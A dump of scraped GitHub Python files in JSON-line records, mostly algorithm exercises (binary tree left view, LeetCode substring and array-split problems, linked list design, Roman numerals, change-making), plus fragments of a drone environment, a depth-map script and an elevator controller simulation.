print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z velocity [{:.2f}]\".format(state[11]))\n if not(clipped_vel_zR == np.array(state[12])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z velocity [{:.2f}]\".format(state[12]))\n if not(clipped_rpR == np.array(state[13])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z velocity [{:.2f}]\".format(state[13]))\n\n \n\n\n\n\n\n\n\n\n\n\n","repo_name":"AbsoluteNegativity/DRL4DAPTA","sub_path":"gym-pybullet-drones/gym-pybullet-drones/gym_pybullet_drones/envs/ControlAviary.py","file_name":"ControlAviary.py","file_ext":"py","file_size_in_byte":29873,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"8682665751","text":"from collections import deque\r\ndef LeftView(root):\r\n if not root:\r\n return []\r\n\r\n q = deque([(0,root)])\r\n ans = []\r\n\r\n while q:\r\n level, node = q.popleft()\r\n\r\n if len(ans) == level:\r\n ans.append(node.data)\r\n\r\n if node.left:\r\n q.append((level + 1, node.left))\r\n if node.right:\r\n q.append((level + 1, node.right))\r\n return ans\r\n\r\nclass Node:\r\n def __init__(self, val):\r\n self.data = val\r\n self.right = None\r\n self.left = None\r\n\r\ndef buildTree(s):\r\n\r\n if(len(s) == 0 or s[0] == \"N\"):\r\n return None\r\n\r\n ip = list(map(str, s.split()))\r\n root = Node(int(ip[0]))\r\n size = 0\r\n q = deque()\r\n\r\n q.append(root)\r\n size = size + 1\r\n\r\n i = 1\r\n while (size > 0 and i < len(ip)):\r\n currNode = q[0]\r\n q.popleft()\r\n size = size -1\r\n\r\n currVal = ip[i]\r\n\r\n if(currVal != \"N\"):\r\n currNode.left = Node(int(currVal))\r\n\r\n q.append(currNode.left)\r\n size = size + 1\r\n i = i+1\r\n if(i >= len(ip)):\r\n break\r\n currVal = ip[i]\r\n\r\n if(currVal != \"N\"):\r\n currNode.right = Node(int(currVal))\r\n q.append(currNode.right)\r\n size = size + 1\r\n i = i+1\r\n return root\r\n\r\nif __name__ == \"__main__\":\r\n t = int(input())\r\n for i in range(t):\r\n s = input()\r\n root = buildTree(s)\r\n result = LeftView(root)\r\n for value in result:\r\n print(value, end=\" \")\r\n print()","repo_name":"santha22/PythonPrograms","sub_path":"GFG/leftViewBinaryTree.py","file_name":"leftViewBinaryTree.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12347320003","text":"# Longest Substring Without Repeating Characters\n# https://leetcode.com/problems/longest-substring-without-repeating-characters/\n\n# 문자열에서 중복없이 가장 길게 나열된 문자열을 찾는 문제이다. 따라서 사용된 문자열과 그 문자열의 인덱스를 같이 담아줄 수 있게\n# 딕셔너리를 하나 만들어 주고, 가장 길게 나열된 문자열의 길이를 담아줄 변수, 현재 위치에서 시작될 변수를 지정하고\n# 문자열 index와 문자열 알파벳 하나를 지정하고 enumerate함수를 사용해 튜플 형태로 돌아준다.\n# 조건문으로 알파벳이 딕셔너리에 담겨있을때, 동시에 딕셔너리의 알파벳 값이 시작될 현재 위치 값보다 크거나 같을때\n# 초기값을 딕셔너리 알파벳 값에 +1 한 값으로 넣어주고\n# 조건에 맞지 않을 시 max_length 값에 max_length와 index - start + 1 한 값 중에 큰 값을 넣어준다.\n# 조건문이 통과되고 사용된 알파벳값에 index를 넣어주고 다시 반복문을 시작한다.\n# 이 과정이 지나 딕셔너리안에 가장 긴 문자열이 넣어지고 반복문이 모두 돌아 끝나면 max_length 값을 return해 답을 구한다.\n\ndef lengthOfLongestSubstring(s):\n used_char = {}\n max_length = 0\n start = 0\n for index, char in enumerate(s):\n if char in used_char and start <= used_char[char]:\n start = used_char[char] + 1\n else:\n max_length = max(max_length, index - start + 1)\n used_char[char] = index\n return max_length\n\n\ndef test_solution():\n assert lengthOfLongestSubstring(\"abcabcbb\") == 3\n assert lengthOfLongestSubstring(\"bbbbb\") == 1\n assert lengthOfLongestSubstring(\"pwwkew\") == 3","repo_name":"dueytree/LeetCode","sub_path":"Repeating_Characters.py","file_name":"Repeating_Characters.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22962331562","text":"\"\"\"\nhttps://leetcode.com/problems/split-array-largest-sum/\n\nGiven an array nums which consists of non-negative \nintegers and an integer m, you can split the array \ninto m non-empty continuous subarrays.\n\nWrite an algorithm to minimize the largest sum among \nthese m subarrays.\n\nExample 1:\nInput: nums = [7,2,5,10,8], m = 2\nOutput: 18\nExplanation:\nThere are four ways to split nums into two subarrays.\nThe best way is to split it into [7,2,5] and [10,8],\nwhere the largest sum among the two subarrays is only 18.\n\nExample 2:\nInput: nums = [1,2,3,4,5], m = 2\nOutput: 9\n\nExample 3:\nInput: nums = [1,4,4], m = 3\nOutput: 4\n\nConstraints:\n1 <= nums.length <= 1000\n0 <= nums[i] <= 10^6\n1 <= m <= min(50, nums.length)\n\"\"\"\nfrom typing import List\nfrom functools import lru_cache\n\n\ndef dp_recursion(nums: List[int], m: int) -> int:\n # Dynamic programming - Recursion - Top-down approach\n # Time complexity: O(n²m)\n # Space complexity: O(mn)\n \"\"\"\n nums = [1 5 2 3 4], m = 2\n 1 (1) 5 2 3 4 (14) -> max = 14\n 1 5 (6) 2 3 4 (9) -> max = 9\n 1 5 2 (8) 3 4 (7) -> max = 8\n 1 5 2 3 (11) 4 (4) -> max = 11\n ----> min = 8\n\n nums = [1 5 2 3 4], m = 3\n 1 (1) 5 (5) 2 3 4 (9) -> max = 9\n 1 (1) 5 2 (7) 3 4 (7) -> max = 7\n 1 (1) 5 2 3 (10) 4 (4) -> max = 10\n 1 5 (6) 2 (2) 3 4 (7) -> max = 7\n 1 5 (6) 2 3 (5) 4 (4) -> max = 6\n 1 5 2 (8) 3 (3) 4 (4) -> max = 8\n ----> min = 6\n\n DP\n Recurrence relation:\n F[curr_index, subarray_count] = min(\n max(sum[curr_index, i], F[i + 1, subarray_count - 1])\n for i in range(curr_index, n - subarray_count)\n )\n Base case (can calculate the result for the subproblem\n without using the above recurrence relation):\n --> when there's only one subarray remaining, all of the\n numbers remaining must go in that subarray, so when\n `subarray_count` is 1, we can simply return the sum of the\n numbers between `curr_index` and the end of the array.\n \"\"\"\n\n @lru_cache(maxsize=None)\n def get_min_largest_split_num(curr_index: int, subarray_left: int) -> int:\n # Base case\n if subarray_left == 1:\n return prefix_sum[n] - prefix_sum[curr_index]\n\n # Otherwise, use the recurrence relation\n min_largest_split_sum = prefix_sum[n]\n for i in range(curr_index, n - subarray_left + 1):\n # Store the sum of the first subarray\n first_split_sum = prefix_sum[i + 1] - prefix_sum[curr_index]\n # Find the max subarray for the current first split\n largest_split_sum = max(\n first_split_sum,\n get_min_largest_split_num(i + 1, subarray_left - 1),\n )\n # Find the min among all possible combinations\n min_largest_split_sum = min(min_largest_split_sum, largest_split_sum)\n # Early stop\n if first_split_sum >= min_largest_split_sum:\n break\n\n return min_largest_split_sum\n\n # Build the prefix sum list to later on calculate\n # the sum of any range of elements in constant time\n prefix_sum = [0]\n for num in nums:\n prefix_sum.append(prefix_sum[-1] + num)\n\n n = len(nums)\n return get_min_largest_split_num(0, m)\n\n\ndef dp_iter(nums: List[int], m: int) -> int:\n # Dynamic programming - Iterative - Bottom-up approach\n # Time complexity: O(n²m)\n # Space complexity: O(mn)\n n = len(nums)\n # Build the prefix sum list to later on calculate\n # the sum of any range of elements in constant time\n prefix_sum = [0]\n for num in nums:\n prefix_sum.append(prefix_sum[-1] + num)\n\n memo = [[0] * (m + 1) for _ in range(n)]\n\n for subarray_count in range(1, m + 1):\n for curr_index in range(n):\n # Base Case: If there is only one subarray left, then all of the remaining numbers\n # must go in the current subarray. So return the sum of the remaining numbers.\n if subarray_count == 1:\n memo[curr_index][subarray_count] = (\n prefix_sum[n] - prefix_sum[curr_index]\n )\n continue\n\n # Otherwise, use the recurrence relation to determine the minimum largest subarray sum\n # between curr_index and the end of the array with subarray_count subarrays remaining.\n minimum_largest_split_sum = prefix_sum[n]\n for i in range(curr_index, n - subarray_count + 1):\n # Store the sum of the first subarray.\n first_split_sum = prefix_sum[i + 1] - prefix_sum[curr_index]\n\n # Find the maximum subarray sum for the current first split.\n largest_split_sum = max(\n first_split_sum, memo[i + 1][subarray_count - 1]\n )\n\n # Find the minimum among all possible combinations.\n minimum_largest_split_sum = min(\n minimum_largest_split_sum, largest_split_sum\n )\n\n if first_split_sum >= minimum_largest_split_sum:\n break\n\n memo[curr_index][subarray_count] = minimum_largest_split_sum\n\n return memo[0][m]\n\n\ndef dp_iter_opt(nums: List[int], m: int) -> int:\n # Dynamic programming - Iterative - Bottom-up approach\n # Time complexity: O(n²m)\n # Space complexity: O(mn)\n n = len(nums)\n\n # Build the prefix sum list to later on calculate\n # the sum of any range of elements in constant time\n accum = [nums[0]]\n for i in range(1, n):\n accum.append(accum[-1] + nums[i])\n\n prev = accum\n for i in range(1, m):\n curr = [float(\"inf\")] * n\n # print(f\">> Subarray: {i}\")\n for j in range(n):\n for k in range(0, j):\n # output = f\"{j, k} -> \\tmin({curr[j]:>3}, \"\n # output += f\"max({prev[k]:>3}, {accum[j] - accum[k]:>3}))\"\n curr[j] = min(curr[j], max(prev[k], accum[j] - accum[k]))\n # output += f\" = {curr[j]:>3}\"\n # print(output)\n # print(curr)\n prev = curr\n\n return prev[n - 1]\n\n\ndef binary_search(nums: List[int], m: int) -> int:\n # Time complexity: O(n log(sum(nums) - max(nums)))\n # Space complexity: O(1)\n # where `s` is the sum of integers in the array\n # The total number of iterations in the\n # binary search is log(s), and for each such iteration,\n # we call `min_subarrays_required`, which takes\n # O(n) time.\n\n def min_subarrays_required(max_sum_allowed: int) -> int:\n current_sum = 0\n splits_required = 0\n\n for element in nums:\n # Add element only if the sum doesn't exceed max_sum_allowed\n if current_sum + element <= max_sum_allowed:\n current_sum += element\n else:\n # If the element addition makes sum more than max_sum_allowed\n # Increment the splits required and reset sum\n current_sum = element\n splits_required += 1\n\n # Return the number of subarrays, which is the number of splits + 1\n return splits_required + 1\n\n # Define the left and right boundary of binary search\n left = max(nums)\n right = sum(nums)\n while left <= right:\n # Find the mid value\n max_sum_allowed = (left + right) // 2\n\n # Find the minimum splits. If splits_required is less than\n # or equal to m move towards left i.e., smaller values\n if min_subarrays_required(max_sum_allowed) <= m:\n right = max_sum_allowed - 1\n minimum_largest_split_sum = max_sum_allowed\n else:\n # Move towards right if splits_required is more than m\n left = max_sum_allowed + 1\n\n return minimum_largest_split_sum\n\n\nif __name__ == \"__main__\":\n print(\"-\" * 60)\n print(\"Split array largest sum\")\n print(\"-\" * 60)\n\n test_cases = [\n # (nums, m, solution)\n ([1, 4, 4], 3, 4),\n ([7, 2, 5, 10, 8], 2, 18),\n ([1, 2, 3, 4, 5], 2, 9),\n ([7, 2, 5, 10, 8, 2, 3], 2, 23),\n ([7, 2, 5, 10, 8, 2, 3], 3, 14),\n ([7, 2, 5, 10, 8, 2, 3], 4, 13),\n ([1, 4, 4, 3, 2, 35, 23, 12, 453, 65, 334, 26, 26, 3456, 2435], 3, 3456),\n ]\n\n for nums, m, solution in test_cases:\n\n print(\"Nums:\", nums)\n print(\"m:\", m)\n\n result = dp_recursion(nums, m)\n output = f\" dp_recursion = \"\n output += str(result)\n test_ok = solution == result\n output += \" \" * (50 - len(output))\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n result = dp_iter(nums, m)\n output = f\" dp_iter = \"\n output += str(result)\n test_ok = solution == result\n output += \" \" * (50 - len(output))\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n result = dp_iter_opt(nums, m)\n output = f\" dp_iter_opt = \"\n output += str(result)\n test_ok = solution == result\n output += \" \" * (50 - len(output))\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n result = binary_search(nums, m)\n output = f\" binary_search = \"\n output += str(result)\n test_ok = solution == result\n output += \" \" * (50 - len(output))\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n print()\n","repo_name":"daalgi/algorithms","sub_path":"search/split_array_largest_sum.py","file_name":"split_array_largest_sum.py","file_ext":"py","file_size_in_byte":9528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"18672607519","text":"\"\"\"\r\nProgram to convert a number to binary using recursion\r\n\"\"\"\r\n\r\ndef find_binary(num):\r\n #Base Case\r\n if num == 0:\r\n return []\r\n \r\n #Recurisive Case\r\n binary_lst = find_binary(num//2)\r\n binary_lst.append(num%2)\r\n \r\n return binary_lst\r\n\r\nprint(find_binary(174))","repo_name":"khatria/Recursion-in-Python","sub_path":"decimal_to_binary_rec.py","file_name":"decimal_to_binary_rec.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74007066812","text":"'''\nAufgabe: Schreiben Sie ein Python-Programm, das eine beliebige römische Zahl in eine\n „gewöhnliche” Dezimalzahl umrechnet.\n'''\n# Erstelle ein Dictionary, \"übersetze\" römische Zahlen in Dezimalzahlen\nroemische_zahlen = {\"I\": 1, \"V\": 5, \"X\": 10, \"L\": 50, \"C\": 100, \"D\": 500, \"M\": 1000}\n# Instanziiere eine Variable mit dem Namen \"dezimal_zahlen\"\ndezimal_zahlen = 0\n\n# User Input wird in input_roemisch \"gespeichert\"\nif __name__ == \"__main__\":\n input_roemisch = input(\"Römische Zahl eingeben: \") \n\n# Instanziiere eine Variable mit dem Namen \"vorherige_zahl\"\nvorherige_zahl = 0\n\n# In Python ist es möglich, über einen String zu iterieren... Iteriere mit einer for-Schleife\nfor char in input_roemisch:\n # Wenn die nachfolgende Ziffer/Zahl größer ist als die vorherige Ziffer/Zahl...\n if roemische_zahlen[char] > vorherige_zahl:\n # Subtrahiere die vorherige Zahl von der nachfolgenden Zahl\n dezimal_zahlen -= vorherige_zahl\n # Wenn die nachfolgende Ziffer/Zahl kleiner oder gleich groß ist wie die vorherige Ziffer/Zahl...\n else:\n # Addiere die vorherige Zahl mit der nachfolgenden Zahl\n dezimal_zahlen += vorherige_zahl\n # Übersetze die vorherige römische Zahl in eine Dezimalzahl\n vorherige_zahl = roemische_zahlen[char]\n # Addiere die vorherige Zahl zur Dezimalzahl\ndezimal_zahlen += vorherige_zahl \n\nprint(\"Als Dezimalzahl: \" + str(dezimal_zahlen)) # Ausgabe der Dezimalzahl","repo_name":"Andreas6400/roemischeZahlen","sub_path":"roemische Zahlen.py","file_name":"roemische Zahlen.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"26306953889","text":"# https://leetcode.com/problems/design-linked-list/\n\n\n# class MyLinkedList:\n\n# def __init__(self):\n \n\n# def get(self, index: int) -> int:\n \n\n# def addAtHead(self, val: int) -> None:\n \n\n# def addAtTail(self, val: int) -> None:\n \n\n# def addAtIndex(self, index: int, val: int) -> None:\n \n\n# def deleteAtIndex(self, index: int) -> None:\n \n\n\n# # Your MyLinkedList object will be instantiated and called as such:\n# # obj = MyLinkedList()\n# # param_1 = obj.get(index)\n# # obj.addAtHead(val)\n# # obj.addAtTail(val)\n# # obj.addAtIndex(index,val)\n# # obj.deleteAtIndex(index)\nclass MyLinkedList:\n\n def __init__(self):\n self.size = 0\n self.head = ListNode(0)\n\n def get(self, index: int) -> int:\n if self.size < 0 or index >= self.size: ##<<<-----\n return -1\n curr = self.head\n for _ in range(index+1):\n curr = curr.next\n return curr.val\n\n def addAtHead(self, val: int) -> None:\n self.addAtIndex(0, val)\n\n def addAtTail(self, val: int) -> None:\n self.addAtIndex(self.size, val)\n\n def addAtIndex(self, index: int, val: int) -> None:\n if index <0:\n index = 0\n if index > self.size:\n return\n self.size +=1\n prev = self.head\n for _ in range(index):\n prev = prev.next\n add = ListNode(val)\n add.next = prev.next\n prev.next = add\n \n def deleteAtIndex(self, index: int) -> None:\n if index < 0 or index >= self.size: ##<<<-----\n return\n \n self.size -=1\n prev = self.head\n for _ in range(index):\n prev = prev.next\n prev.next = prev.next.next\n \nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n \n\n# Your MyLinkedList object will be instantiated and called as such:\n# obj = MyLinkedList()\n# param_1 = obj.get(index)\n# obj.addAtHead(val)\n# obj.addAtTail(val)\n# obj.addAtIndex(index,val)\n# obj.deleteAtIndex(index)\n# Your MyLinkedList object will be instantiated and called as such:\n# obj = MyLinkedList()\n# param_1 = obj.get(index)\n# obj.addAtHead(val)\n# obj.addAtTail(val)\n# obj.addAtIndex(index,val)\n# obj.deleteAtIndex(index)\n\n# Input\n# [\"MyLinkedList\", \"addAtHead\", \"addAtTail\", \"addAtIndex\", \"get\", \"deleteAtIndex\", \"get\"]\n# [[], [1], [3], [1, 2], [1], [1], [1]]\n# Output\n# [null, null, null, null, 2, null, 3]\n\n# Explanation\n# MyLinkedList myLinkedList = new MyLinkedList();\n# myLinkedList.addAtHead(1);\n# myLinkedList.addAtTail(3);\n# myLinkedList.addAtIndex(1, 2); // linked list becomes 1->2->3\n# myLinkedList.get(1); // return 2\n# myLinkedList.deleteAtIndex(1); // now the linked list is 1->3\n# myLinkedList.get(1); // return 3","repo_name":"bmaxdk/LeetCode","sub_path":"p707_DesignLinkedList.py","file_name":"p707_DesignLinkedList.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"21609070702","text":"import numpy as np\r\nimport re\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef depth2xyz(depth_map,depth_cam_matrix,flatten=False,depth_scale=180):\r\n fx,fy = depth_cam_matrix[0,0],depth_cam_matrix[1,1]\r\n cx,cy = depth_cam_matrix[0,2],depth_cam_matrix[1,2]\r\n h,w=np.mgrid[0:depth_map.shape[0],0:depth_map.shape[1]]\r\n z=depth_map/depth_scale\r\n x=(w-cx)*z/fx\r\n y=(h-cy)*z/fy\r\n xyz={}\r\n xyz['x']=x\r\n xyz['y']=y\r\n xyz['z']=z\r\n # xyz=np.dstack((x,y,z)) if flatten==False else np.dstack((x,y,z)).reshape(-1,3)\r\n # #xyz=cv2.rgbd.depthTo3d(depth_map,depth_cam_matrix)\r\n return xyz\r\n \r\nif __name__ == '__main__': \r\n # 随便生成一个 分辨率为(1280, 720)的深度图, 注意深度图shape为(1280, 720)即深度图为单通道, 维度为2\r\n #而不是类似于shape为(1280, 720, 3)维度为3的这种\r\n pfm_file=open('pfm/00000001.pfm','rb')\r\n header = pfm_file.readline().decode().rstrip()\r\n channel = 3 if header == 'PF' else 1\r\n \r\n dim_match = re.match(r'^(\\d+)\\s(\\d+)\\s$', pfm_file.readline().decode('utf-8'))\r\n if dim_match:\r\n width, height = map(int, dim_match.groups())\r\n else:\r\n raise Exception(\"Malformed PFM header.\")\r\n \r\n scale = float(pfm_file.readline().decode().strip())\r\n if scale < 0:\r\n endian = '<' #little endlian\r\n scale = -scale\r\n else:\r\n endian = '>' #big endlian\r\n \r\n disparity = np.fromfile(pfm_file, endian + 'f')\r\n \r\n # print(disparity.shape)\r\n img = np.reshape(disparity, newshape=(height, width))\r\n\r\n depth_map = np.flipud(img)\r\n \r\n depth_cam_matrix = np.array([[2892.33, 0, 823.204],\r\n [0, 2883.18,619.069],\r\n [0, 0, 1]])\r\n xyz=depth2xyz(depth_map, depth_cam_matrix)\r\n fig = plt.figure(figsize=(12, 10),dpi=80)\r\n ax = fig.add_subplot(111, projection='3d')\r\n X=xyz['x']\r\n Y=xyz['y']\r\n Z=xyz['z']\r\n ax.scatter(X, Y, Z,s= 10,edgecolor=\"black\",marker=\".\")\r\n plt.show()\r\n\r\n","repo_name":"YuanxuZhen/MVS","sub_path":"YuanxuZhen/traverswe_new/traverse.py","file_name":"traverse.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10850399498","text":"# Module 4\n# Programming Assignment 5\n# Prob-2.py\n\n# Brandon Norton\n\n# Input: Enter a price of item, and amount of money given\n# Process: calculate total change, and the number of tens, fives, ones, quarters, dimes, nickels, and pennies recieved as change\n# Ourtput: String showing cost of item, total change, money given, and each denomination of dollar bills and quarters given as change starting from 10$ in terminal\n# function definition\n\n\n# main function definition\n\n\ndef main():\n\n cost = 5.99\n print(\"Cost of item: $\", cost)\n moneyGiven = 12.72\n print(\"Money given: $\", moneyGiven)\n change = moneyGiven - cost\n print(\"Change: $\", change)\n\n totalChange = int(round(change * 100))\n print(\"Total Change:\",totalChange // 100)\n \n #tens\n ten = totalChange // 1000\n if ten >= 1:\n print(\"Number of Tens:\",ten)\n\n totalChange = totalChange - (ten * 1000)\n \n #Fives\n five = totalChange // 500\n if five >= 1:\n print(\"Number of Fives:\",five)\n\n totalChange = totalChange - (five * 500)\n \n\n #ones\n one = totalChange // 100\n if one >= 1:\n print(\"Number of Ones:\",one)\n \n totalChange = totalChange - (one * 100)\n \n\n #quarters\n quarter = totalChange // 25\n if quarter >= 1:\n print(\"Number of quarters:\", quarter)\n \n totalChange = totalChange - (quarter * 25)\n\n #Dimes\n dime = totalChange // 10\n if dime >= 1:\n print(\"Number of dimes:\", dime)\n\n totalChange = totalChange - (dime * 10)\n\n #nickels\n nickel = totalChange // 5\n if nickel >= 1:\n print(\"Number of nickels:\", nickel)\n\n totalChange = totalChange - (nickel * 5)\n\n #pennies\n penny = totalChange // 1\n if penny >= 1:\n print(\"number of pennies:\", penny)\n\n \n\n\n\nmain()\n","repo_name":"CTEC-121-Spring-2020/mod-5-programming-assignment-Brandon-Clark189","sub_path":"Prob-2/Prob-2.py","file_name":"Prob-2.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39758328477","text":"class Column:\r\n def __init__(self, _id, _status, _amountOfFloors, _amountOfElevators):\r\n self.ID = _id\r\n self.status = _status\r\n self.amountOfFloors = _amountOfFloors\r\n self.amountOfElevators = _amountOfElevators\r\n self.elevatorsList = []\r\n self.callButtonsList = []\r\n\r\n self.createElevators(_amountOfFloors, _amountOfElevators)\r\n self.createCallButtons(_amountOfFloors)\r\n\r\n def display(self):\r\n print(\"Column: \" + str(self.ID))\r\n print(\"Floors: \" + str(self.amountOfFloors))\r\n print(\"Elevators: \" + str(self.amountOfElevators))\r\n\r\n def createCallButtons(self, _amountOfFloors):\r\n buttonID = 1\r\n\r\n for i in range(1, self.amountOfFloors):\r\n if i < self.amountOfFloors:\r\n callButton = CallButton(1, 'off', i, 'up')\r\n self.callButtonsList.append(CallButton)\r\n buttonID += 1\r\n\r\n if i >= 2:\r\n callButton = CallButton(\r\n 2, 'off', i, 'down')\r\n self.callButtonsList.append(CallButton)\r\n buttonID += 1\r\n\r\n def createElevators(self, _amountOfFloors, _amountOfElevators):\r\n for i in range(self.amountOfElevators):\r\n elevator = Elevator(i + 1, 'idle', _amountOfFloors, 1)\r\n self.elevatorsList.append(elevator)\r\n\r\n def requestElevator(self, _floor, _direction):\r\n print(\"||-PASSENGER REQUESTS PICKUP AT FLOOR \" +\r\n str(_floor) + \" TO GO \" + str(_direction) + \"-||\")\r\n elevator = self.findElevator(_floor, _direction)\r\n elevator.floorRequestList.append(_floor)\r\n elevator.sortFloorList()\r\n print()\r\n print(\"ELEVATOR \" + str(elevator.ID) + \" MOVES FROM FLOOR \" +\r\n str(elevator.currentFloor) + \" TO GO TO FLOOR \" + str(_floor))\r\n elevator.move()\r\n return elevator\r\n\r\n # We use a score system depending on the current elevators state. Since the bestScore and the referenceGap are\r\n # higher values than what could be possibly calculated, the first elevator will always become the default bestElevator,\r\n # before being compared with to other elevators. If two elevators get the same score, the nearest one is prioritized.\r\n\r\n def findElevator(self, requestedFloor, requestedDirection):\r\n bestElevatorInformations = {\r\n \"bestElevator\": None,\r\n \"bestScore\": 5,\r\n \"referenceGap\": 10000000\r\n }\r\n\r\n for elevator in self.elevatorsList:\r\n # The elevator is at my floor and going in the direction I want\r\n if requestedFloor == elevator.currentFloor and elevator.status == 'stopped' and requestedDirection == elevator.direction:\r\n bestElevatorInformations = self.checkIfElevatorIsBetter(\r\n 1, elevator, bestElevatorInformations, requestedFloor)\r\n\r\n # The elevator is lower than me, is coming up and I want to go up\r\n elif requestedFloor > elevator.currentFloor and elevator.direction == 'up' and requestedDirection == elevator.direction:\r\n bestElevatorInformations = self.checkIfElevatorIsBetter(\r\n 2, elevator, bestElevatorInformations, requestedFloor)\r\n\r\n # The elevator is higher than me, is coming down and I want to go down\r\n elif requestedFloor < elevator.currentFloor and elevator.direction == 'down' and requestedDirection == elevator.direction:\r\n bestElevatorInformations = self.checkIfElevatorIsBetter(\r\n 2, elevator, bestElevatorInformations, requestedFloor)\r\n\r\n # The elevator is idle\r\n elif elevator.status == 'idle':\r\n bestElevatorInformations = self.checkIfElevatorIsBetter(\r\n 3, elevator, bestElevatorInformations, requestedFloor)\r\n\r\n # The elevator is not available, but still could take the call nothing else better is found\r\n else:\r\n bestElevatorInformations = self.checkIfElevatorIsBetter(\r\n 4, elevator, bestElevatorInformations, requestedFloor)\r\n\r\n #bestElevator = bestElevatorInformations[\"bestElevator\"]\r\n #bestScore = bestElevatorInformations[\"bestScore\"]\r\n #referenceGap = bestElevatorInformations[\"referenceGap\"]\r\n print()\r\n print(\">>[ELEVATOR TO BE SENT]:\")\r\n print(bestElevatorInformations[\"bestElevator\"])\r\n return bestElevatorInformations[\"bestElevator\"]\r\n\r\n def checkIfElevatorIsBetter(self, scoreToCheck, newElevator, bestElevatorInformations, floor):\r\n if scoreToCheck < bestElevatorInformations[\"bestScore\"]:\r\n bestElevatorInformations[\"bestScore\"] = scoreToCheck\r\n bestElevatorInformations[\"bestElevator\"] = newElevator\r\n bestElevatorInformations[\"referenceGap\"] = abs(\r\n newElevator.currentFloor - floor)\r\n elif bestElevatorInformations[\"bestScore\"] == scoreToCheck:\r\n gap = abs(newElevator.currentFloor - floor)\r\n if (bestElevatorInformations[\"referenceGap\"] > gap):\r\n bestElevatorInformations[\"bestScore\"] = scoreToCheck\r\n bestElevatorInformations[\"bestElevator\"] = newElevator\r\n bestElevatorInformations[\"referenceGap\"] = gap\r\n return bestElevatorInformations\r\n\r\n\r\nclass Elevator:\r\n def __init__(self, _id, _status, _amountOfFloors, _currentFloor):\r\n self.ID = _id\r\n self.status = _status\r\n self.amountOfFloors = _amountOfFloors\r\n self.currentFloor = _currentFloor\r\n self.direction = None\r\n self.door = Door(_id, 'closed')\r\n self.floorRequestButtonsList = []\r\n self.floorRequestList = []\r\n\r\n self.createFloorRequestButtons(_amountOfFloors)\r\n\r\n def createFloorRequestButtons(self, _amountOfFloors):\r\n buttonFloor = 1\r\n for i in range(0, _amountOfFloors):\r\n floorRequestButton = FloorRequestButton(\r\n 1, 'off', buttonFloor)\r\n self.floorRequestButtonsList.append(floorRequestButton)\r\n buttonFloor += 1\r\n floorRequestButton.ID += 1\r\n\r\n # Simulate when a user press a button inside the elevator//\r\n def requestFloor(self, _floor):\r\n print()\r\n print(\"||-PASSENGER NOW INSIDE ELEVATOR REQUESTS TO GO TO FLOOR \" +\r\n str(_floor) + \"-||\")\r\n self.floorRequestList.append(_floor)\r\n self.sortFloorList()\r\n print()\r\n print(\"ELEVATOR \" + str(self.ID) + \" MOVES FROM FLOOR \" +\r\n str(self.currentFloor) + \" TO GO TO FLOOR \" + str(_floor))\r\n self.move()\r\n\r\n def move(self):\r\n while len(self.floorRequestList) != 0:\r\n destination = self.floorRequestList[0]\r\n self.status = 'moving'\r\n if self.currentFloor < destination:\r\n self.direction = 'up'\r\n while self.currentFloor < destination:\r\n self.currentFloor += 1\r\n\r\n elif self.currentFloor > destination:\r\n self.direction = 'down'\r\n while self.currentFloor > destination:\r\n self.currentFloor -= 1\r\n\r\n self.status = 'stopped'\r\n self.floorRequestList.pop()\r\n\r\n if len(self.floorRequestList) == 0:\r\n self.status = 'idle'\r\n\r\n def sortFloorList(self):\r\n if self.direction == 'up':\r\n sorted(self.floorRequestList)\r\n else:\r\n sorted(self.floorRequestList, reverse=True)\r\n\r\n\r\nclass CallButton:\r\n def __init__(self, _id, _status, _floor, _direction):\r\n self.ID = _id\r\n self.status = _status\r\n self.floor = _floor\r\n self.direction = _direction\r\n\r\n\r\nclass FloorRequestButton:\r\n def __init__(self, _id, _status, _floor):\r\n self.ID = _id\r\n self.status = _status\r\n self.floor = _floor\r\n\r\n\r\nclass Door:\r\n def __init__(self, _id, _status):\r\n self.ID = _id\r\n self.status = _status\r\n\r\n\r\n# SCENARIO TERMINAL SIMULATIONS\r\n\r\n# -----INSTRUCTIONS-----#\r\n\r\n# TO SIMULATE A SCENARIO IN THE TERMINAL, SIMPLY UNCOMMENT (REMOVE THE #) THE DESIRED FUNCTION AT THE BOTTOM OF THE FILE (EXAMPLE: scenario1())\r\n\r\n# ___________________________________________________________________________________________________________________________________________#\r\n\r\n\r\n# ----------------------SCENARIO 1---------------------//\r\n\r\n# Elevator 1 is Idle at floor 2\r\n# Elevator 2 is Idle at floor 6\r\n# Someone is on floor 3 and wants to go to the 7th floor.\r\n# Elevator 1 is expected to be sent.\r\n\r\ndef scenario1():\r\n print()\r\n print(\"______________________________________________________________________________________________\")\r\n print()\r\n print(\"--------------------SCENARIO 